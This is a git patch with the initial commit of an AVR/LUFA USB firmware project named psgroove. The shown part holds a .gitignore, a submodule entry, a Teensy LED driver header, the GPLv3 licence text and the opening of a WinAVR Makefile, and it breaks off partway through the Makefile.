From fd866f5fb0e83e90b36acc0cac76b494ecf2a31d Mon Sep 17 00:00:00 2001 From: psgroove Date: Wed, 1 Sep 2010 00:05:32 -0400 Subject: [PATCH] Initial commit. --- .gitignore | 9 + .gitmodules | 3 + Board/LEDs.h | 137 ++++++++++ COPYING | 674 ++++++++++++++++++++++++++++++++++++++++++++++++ Makefile | 707 +++++++++++++++++++++++++++++++++++++++++++++++++++ README.md | 118 +++++++++ descriptor.h | 534 ++++++++++++++++++++++++++++++++++++++ lufa-lib | 1 + psgroove.c | 660 +++++++++++++++++++++++++++++++++++++++++++++++ 9 files changed, 2843 insertions(+) create mode 100644 .gitignore create mode 100644 .gitmodules create mode 100644 Board/LEDs.h create mode 100644 COPYING create mode 100644 Makefile create mode 100644 README.md create mode 100644 descriptor.h create mode 160000 lufa-lib create mode 100644 psgroove.c diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..1a34c0d --- /dev/null +++ b/.gitignore @@ -0,0 +1,9 @@ +.dep/ +*.sym +*.map +*.lss +*.hex +*.elf +*.eep +*.o +*.lst diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..8c544b5 --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "lufa-lib"] + path = lufa-lib + url = git://github.com/psgroove/lufa-lib diff --git a/Board/LEDs.h b/Board/LEDs.h new file mode 100644 index 0000000..a52a2ef --- /dev/null +++ b/Board/LEDs.h @@ -0,0 +1,137 @@ +/* + LUFA Library + Copyright (C) Dean Camera, 2010. + + dean [at] fourwalledcubicle [dot] com + www.fourwalledcubicle.com +*/ + +/* + Copyright 2010 Dean Camera (dean [at] fourwalledcubicle [dot] com) + + Permission to use, copy, modify, distribute, and sell this + software and its documentation for any purpose is hereby granted + without fee, provided that the above copyright notice appear in + all copies and that both that the copyright notice and this + permission notice and warranty disclaimer appear in supporting + documentation, and that the name of the author not be used in + advertising or publicity pertaining to distribution of the + software without specific, written prior permission. + + The author disclaim all warranties with regard to this + software, including all implied warranties of merchantability + and fitness. In no event shall the author be liable for any + special, indirect or consequential damages or any damages + whatsoever resulting from loss of use, data or profits, whether + in an action of contract, negligence or other tortious action, + arising out of or in connection with the use or performance of + this software. +*/ + +/** \file + * \brief Board specific LED driver header for the USBKEY. + * + * Board specific LED driver header for the USBKEY. + * + * \note This file should not be included directly. It is automatically included as needed by the LEDs driver + * dispatch header located in LUFA/Drivers/Board/LEDs.h. + */ + +/** \ingroup Group_LEDs + * @defgroup Group_LEDs_USBKEY USBKEY + * + * Board specific LED driver header for the USBKEY. + * + * \note This file should not be included directly. It is automatically included as needed by the LEDs driver + * dispatch header located in LUFA/Drivers/Board/LEDs.h. + * + * @{ + */ + +#ifndef __LEDS_USBKEY_H__ +#define __LEDS_USBKEY_H__ + + /* Includes: */ + #include + + #include "lufa-lib/trunk/LUFA/Common/Common.h" + + /* Enable C linkage for C++ Compilers: */ + #if defined(__cplusplus) + extern "C" { + #endif + + /* Preprocessor Checks: */ + #if !defined(__INCLUDE_FROM_LEDS_H) + #error Do not include this file directly. Include LUFA/Drivers/Board/LEDS.h instead. + #endif + + /* Public Interface - May be used in end-application: */ + /* Macros: */ + /** LED mask for the first LED on the board. */ + #define LEDS_LED1 (1 << 2) + + /** LED mask for the second LED on the board. */ + #define LEDS_LED2 (1 << 3) + + /** LED mask for the third LED on the board. */ + #define LEDS_LED3 0 + + /** LED mask for the fourth LED on the board. */ + #define LEDS_LED4 0 + + /** LED mask for all the LEDs on the board. */ + #define LEDS_ALL_LEDS (LEDS_LED1 | LEDS_LED2 | LEDS_LED3 | LEDS_LED4) + + /** LED mask for the none of the board LEDs. */ + #define LEDS_NO_LEDS 0 + + /* Inline Functions: */ + #if !defined(__DOXYGEN__) + static inline void LEDs_Init(void) + { + DDRA |= LEDS_ALL_LEDS; + PORTA &= ~LEDS_ALL_LEDS; + } + + static inline void LEDs_TurnOnLEDs(const uint8_t LEDMask) + { + PORTA |= LEDMask; + } + + static inline void LEDs_TurnOffLEDs(const uint8_t LEDMask) + { + PORTA &= ~LEDMask; + } + + static inline void LEDs_SetAllLEDs(const uint8_t LEDMask) + { + PORTA = ((PORTA & ~LEDS_ALL_LEDS) | LEDMask); + } + + static inline void LEDs_ChangeLEDs(const uint8_t LEDMask, + const uint8_t ActiveMask) + { + PORTA = ((PORTA & ~LEDMask) | ActiveMask); + } + + static inline void LEDs_ToggleLEDs(const uint8_t LEDMask) + { + PORTA = (PORTA ^ (LEDMask & LEDS_ALL_LEDS)); + } + + static inline uint8_t LEDs_GetLEDs(void) ATTR_WARN_UNUSED_RESULT; + static inline uint8_t LEDs_GetLEDs(void) + { + return (PORTA & LEDS_ALL_LEDS); + } + #endif + + /* Disable C linkage for C++ Compilers: */ + #if defined(__cplusplus) + } + #endif + +#endif + +/** @} */ diff --git a/COPYING b/COPYING new file mode 100644 index 0000000..94a9ed0 --- /dev/null +++ b/COPYING @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..ebe336a --- /dev/null +++ b/Makefile @@ -0,0 +1,707 @@ +# Hey Emacs, this is a -*- makefile -*- +#---------------------------------------------------------------------------- +# WinAVR Makefile Template written by Eric B. Weddington, Jörg Wunsch, et al. +# >> Modified for use with the LUFA project. << +# +# Released to the Public Domain +# +# Additional material for this makefile was written by: +# Peter Fleury +# Tim Henigan +# Colin O'Flynn +# Reiner Patommel +# Markus Pfaff +# Sander Pool +# Frederik Rouleau +# Carlos Lamas +# Dean Camera +# Opendous Inc. +# Denver Gingerich +# +#---------------------------------------------------------------------------- +# On command line: +# +# make all = Make software. +# +# make clean = Clean out built project files. +# +# make coff = Convert ELF to AVR COFF. +# +# make extcoff = Convert ELF to AVR Extended COFF. +# +# make program = Download the hex file to the device, using avrdude. +# Please customize the avrdude settings below first! +# +# make dfu = Download the hex file to the device, using dfu-programmer (must +# have dfu-programmer installed). +# +# make flip = Download the hex file to the device, using Atmel FLIP (must +# have Atmel FLIP installed). +# +# make dfu-ee = Download the eeprom file to the device, using dfu-programmer +# (must have dfu-programmer installed). +# +# make flip-ee = Download the eeprom file to the device, using Atmel FLIP +# (must have Atmel FLIP installed). +# +# make doxygen = Generate DoxyGen documentation for the project (must have +# DoxyGen installed) +# +# make debug = Start either simulavr or avarice as specified for debugging, +# with avr-gdb or avr-insight as the front end for debugging. +# +# make filename.s = Just compile filename.c into the assembler code only. +# +# make filename.i = Create a preprocessed source file for use in submitting +# bug reports to the GCC project. +# +# To rebuild project do "make clean" then "make all". +#---------------------------------------------------------------------------- + + +# MCU name +MCU = at90usb1286 + + +# Target board (see library "Board Types" documentation, NONE for projects not requiring +# LUFA board drivers). If USER is selected, put custom board drivers in a directory called +# "Board" inside the application directory. +BOARD = TEENSY + + +# Processor frequency. +# This will define a symbol, F_CPU, in all source code files equal to the +# processor frequency in Hz. You can then use this symbol in your source code to +# calculate timings. Do NOT tack on a 'UL' at the end, this will be done +# automatically to create a 32-bit value in your source code. +# +# This will be an integer division of F_CLOCK below, as it is sourced by +# F_CLOCK after it has run through any CPU prescalers. Note that this value +# does not *change* the processor frequency - it should merely be updated to +# reflect the processor speed set externally so that the code can use accurate +# software delays. +F_CPU = 16000000 + + +# Input clock frequency. +# This will define a symbol, F_CLOCK, in all source code files equal to the +# input clock frequency (before any prescaling is performed) in Hz. This value may +# differ from F_CPU if prescaling is used on the latter, and is required as the +# raw input clock is fed directly to the PLL sections of the AVR for high speed +# clock generation for the USB and other AVR subsections. Do NOT tack on a 'UL' +# at the end, this will be done automatically to create a 32-bit value in your +# source code. +# +# If no clock division is performed on the input clock inside the AVR (via the +# CPU clock adjust registers or the clock division fuses), this will be equal to F_CPU. +F_CLOCK = $(F_CPU) + + +# Output format. (can be srec, ihex, binary) +FORMAT = ihex + + +# Target file name (without extension). +TARGET = psgroove + + +# Object files directory +# To put object files in current directory, use a dot (.), do NOT make +# this an empty or blank macro! +OBJDIR = . + + +# Path to the LUFA library +LUFA_PATH = lufa-lib/trunk + + +# LUFA library compile-time options and predefined tokens +LUFA_OPTS = -D USB_DEVICE_ONLY +LUFA_OPTS += -D FIXED_CONTROL_ENDPOINT_SIZE=8 +LUFA_OPTS += -D USE_FLASH_DESCRIPTORS +LUFA_OPTS += -D MEMSPACE_FLASH=0 +LUFA_OPTS += -D MEMSPACE_EEPROM=1 +LUFA_OPTS += -D USE_STATIC_OPTIONS="(USB_DEVICE_OPT_FULLSPEED | USB_OPT_REG_ENABLED | USB_OPT_AUTO_PLL)" + + +# Create the LUFA source path variables by including the LUFA root makefile +include $(LUFA_PATH)/LUFA/makefile + + +# List C source files here. (C dependencies are automatically generated.) +SRC = 